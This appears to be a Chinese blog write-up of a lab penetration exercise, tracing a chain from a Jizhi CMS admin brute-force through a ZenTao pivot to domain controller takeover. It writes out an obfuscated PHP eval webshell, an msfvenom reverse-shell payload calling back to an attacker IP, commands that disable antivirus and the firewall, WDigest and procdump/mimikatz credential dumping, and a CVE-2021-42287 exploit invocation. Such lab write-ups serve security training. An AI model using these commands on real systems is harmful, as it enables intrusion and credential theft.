靶机渗透日记

最新推荐文章于 2022-11-23 20:21:44 发布
最新推荐文章于 2022-11-23 20:21:44 发布
阅读量430 收藏
点赞数
文章标签： web安全 渗透测试 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_47709391/article/details/123883938
版权

图片

  1. IP

    在这里插入图片描述

  2. 端口

    在这里插入图片描述

  3. 访问 80 端口

    在这里插入图片描述

    访问81端口，发现是极致CMS，并且查阅资料得知存在漏洞，但是需要先进后台

    在这里插入图片描述

  4. 目录扫描

    在这里插入图片描述

    访问 readme.txt ，发现版本为 1.8.1

    在这里插入图片描述

    /admin.php 即为后台管理登录

    在这里插入图片描述

    爆破用户名密码，得到admin123

    在这里插入图片描述

  5. 通过插件getshell

    参考：极致CMS漏洞getshell

    在这里插入图片描述

    配置密码

    在这里插入图片描述

    编辑index.php文件

    在这里插入图片描述

    插入

    $a = $GLOBALS;
$str = '_POST';
eval/**nice**/(''. $a[$str]['cf87efe0c36a12aec113cd7982043573']. NULL);

    蚁剑连接成功getshell

    在这里插入图片描述

    执行命令失败，应该是过滤了一些函数

    在这里插入图片描述

    绕过 disable_functions，选择 bypass user_filter 模式

    在这里插入图片描述

  6. 上线MSF

    生成payload

    msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.128 lport=4456 -f elf > shell.elf

    在这里插入图片描述

    可以看到不是最高权限，提权post/multi/recon/local_exploit_suggester

    在这里插入图片描述

    使用 sudo_baron_samedit 提权

    在这里插入图片描述

  7. 发现存在双网卡，另一个网卡地址为 10.0.20.0

    在这里插入图片描述

    添加路由，进行内网主机探测

    使用auxiliary/scanner/portscan/tcp进行扫描

    在这里插入图片描述

    发现主机 10.0.20.66 开放了 8080 端口，访问发现是禅道管理系统，版本为12.4.2

    在这里插入图片描述

  8. 搜索 exp ，同样是需要先进到后台，这里直接使用账户 admin/Admin123 登录

    参考：禅道12.4.2后台管理员权限Getshell复现

    http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=<base64编码后的webshell路径>

    在这里插入图片描述

    蚁剑成功连接，查看任务进程

    在这里插入图片描述

    在这里插入图片描述

    存在火绒以及windows defender

  9. 免杀

    在这里插入图片描述

  10. 使用 CVE-2021-1732 提权

    exploit/windows/local/cve_2021_1732_win32k

    在这里插入图片描述

    关闭防火墙

    run killav

    关闭休眠和防火墙

    powercfg -h off
netsh firewall set opmode mode=disable

    在这里插入图片描述

  11. 信息收集

    在这里插入图片描述

    存在域 vuntarget.com ，双网卡，并且DNS地址为10.0.10.100，可能为域控

    域用户

    在这里插入图片描述

    本地用户及本地管理员

    在这里插入图片描述

    补丁列表

    在这里插入图片描述

    定位域控

    在这里插入图片描述

    域管理员

    在这里插入图片描述

  12. 获取密码

    在这里插入图片描述

    解密

    在这里插入图片描述

    或者通过修改注册表的方式读取明文密码

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

    当重新登录后可以读到明文密码

    在这里插入图片描述

    也可以通过上传procdump然后下载lsaas文件

    procdump64.exe -accepteula -ma lsass.exe  lsass.dmp

    在这里插入图片描述

    sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

    在这里插入图片描述

  13. 使用CVE-2021-42287，拿下域控

    proxychains4 python3 sam_the_admin.py "vulntarget.com/win101:admin#123" -dc-ip 10.0.10.100 -shell

    在这里插入图片描述

# .
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
记某CMS漏洞getshell
zhangge3663的博客
05-05 2756
记极致CMS漏洞getshell 今天下午比较空闲，就去搜索一些cms，突然对极致CMS感兴趣，而网上已经有一些文章对它进行分析利用，sql注入,xss,后台修改上传后缀名前台getshell等等。 于是就引起了我的兴趣想去测试一下。 信息收集 还是因为自己太懒，不想搭建环境，然后就想网上有好多网站啊，随便找一个去看看。hhh然后去利用fofa去搜索。（不能随便乱日） 弱密码yyds 搜索了一些网站，我们直接在url后面添加/admin.php,就直接跳到后台登录的地方。 看到后台?!嗯
vulntarget漏洞靶场-vulntarget-b
aming小老弟
07-19 3131
vuln靶场
vulntarget-b靶场详细通关记录
tpaer的博客
11-23 3091
vulntarget-b靶场最详细通关记录。
php bypass disable_functions 总结
qq_41891666的博客
06-04 2556
php bypass disable_functions 总结 前言: 之前在做ctf 题的时候，遇到很多次给出shell 但是却有disable_function 限制的题目，一直没有好好搞清楚绕过的方法，今天来一个总结 0x00 先说一个php 7 的绕过吧，直接一把梭：（????） https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass 0x01: 明确要使用的绕过方法: (1) 首先查看phpinfo ,如果是php
Vulntarget靶场渗透笔记[持续更新中]
派大星的博客
04-08 6660
Vulntarget靶场渗透笔记 文章目录Vulntarget靶场渗透笔记靶场官方链接Vulntarget-aWriteup网络拓扑环境信息收集win7 MSF上线横向移动win2016cs上线msf上线域渗透域内提权 靶场官方链接 https://github.com/crow821/vulntarget Vulntarget-a Writeup vulntarget漏洞靶场系列(一) 渗透测试练习No.62 内网渗透 vulntarget-a Win7：win7/admin win2016：Admini
Vulnhub靶机渗透测试 DC-8靶机
12-07
Vulnhub靶机渗透测试 DC-8靶机
web渗透测试靶机（新手）
05-07
web渗透测试靶机（新手）
Vulnhub靶机渗透测试 DC-1靶机
03-05
Vulnhub靶机渗透测试 DC-1靶机
Vulnhub靶机渗透测试 DC-3靶机
12-07
Vulnhub靶机渗透测试 DC-3靶机
Vulnhub靶机渗透测试 DC-7靶机
12-07
Vulnhub靶机渗透测试 DC-7靶机
Vulnhub靶机渗透测试 DC-9靶机
12-07
Vulnhub靶机渗透测试 DC-9靶机
Vulnhub靶机渗透测试 Five-1靶机
12-07
Vulnhub靶机渗透测试 Five-1靶机
Vulnhub靶机渗透测试 Five-3靶机
12-07
Vulnhub靶机渗透测试 Five-3靶机
DC3靶机渗透测试练习
10-05
DC3靶机渗透测试练习 DC3靶机渗透测试练习是网络安全领域中的一个重要实践项目，旨在帮助安全测试人员和渗透测试人员提高自己的技能和经验。本文将详细介绍 DC3靶机渗透测试练习的各个阶段和步骤，以及每个阶段的...
BOB1.0.1靶机渗透攻略.pdf
09-21
网络安全渗透kali实战，提供bob1.0.1靶场，环境，详细攻略
Linux sudo权限提升漏洞（CVE-2021-3156）
热门推荐
Vdieoo的博客
01-27 1万+
1月26日，Sudo发布安全通告，修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式下运行命令时，它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时，实际上并未进行转义，从而可能导致缓冲区溢出。只要存在sudoers文件（通常是/etc/sudoers），攻击者就可以使用本地普通用户利用sudo获得系统root权限。请受影响的用户尽快采取措施进行防护。 影响范围 受影响版...
最新实操案例分享：分析Baron Samedit（Sudo CVE-2021-3156）漏洞
Pokemogo的博客
03-03 452
2021年1月26日，Qualys发表了一篇博客，描述了他们对sudo中的堆溢出漏洞CVE-2021-3156的发现，他们将其命名为“Baron Samedit”。 Sudo是许多不同的Linux/Unix发行版中的一个核心工具，它允许用户以提升的安全权限运行程序。它是Linux、BSD、macOS、AIX、Solaris和其他系统普遍包含和安装的组件。 用Insure++分析Baron Samedit（CVE-2021-3156） 我将利用这个漏洞演示Parasoft Insure++内存超读和..
隐藏了十年的 Sudo 漏洞曝出：无需密码就能获取 root 权限
CSDN资讯
01-29 2639
整理 | 郑丽媛出品 | CSDN（ID：CSDNnews）Sudo，想必但凡接触过 Linux 或 Unix 操作系统的开发者都知道这个可以“为所欲为”的应用程序，系统管理员可通过 S...
hackbox靶机渗透
最新发布
10-15
好的，关于hackbox靶机渗透，我可以提供一些基本的信息和建议。首先，hackbox是一个虚拟机靶机，可以用于练习渗透测试技能。在渗透测试过程中，需要进行信息收集、漏洞扫描、漏洞利用等步骤。以下是一些可能有用的工具和技术： 1. Nmap：用于端口扫描和服务识别。 2. Metasploit：用于漏洞利用和后渗透。 3. Hydra：用于暴力破解密码。 4. Burp Suite：用于Web应用程序渗透测试。 5. SQL注入、XSS等常见漏洞的利用方法。 当然，这只是一些基本的工具和技术，实际的渗透测试需要根据具体情况进行选择和使用。此外，还需要注意法律和道德问题，不要进行未经授权的渗透测试。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值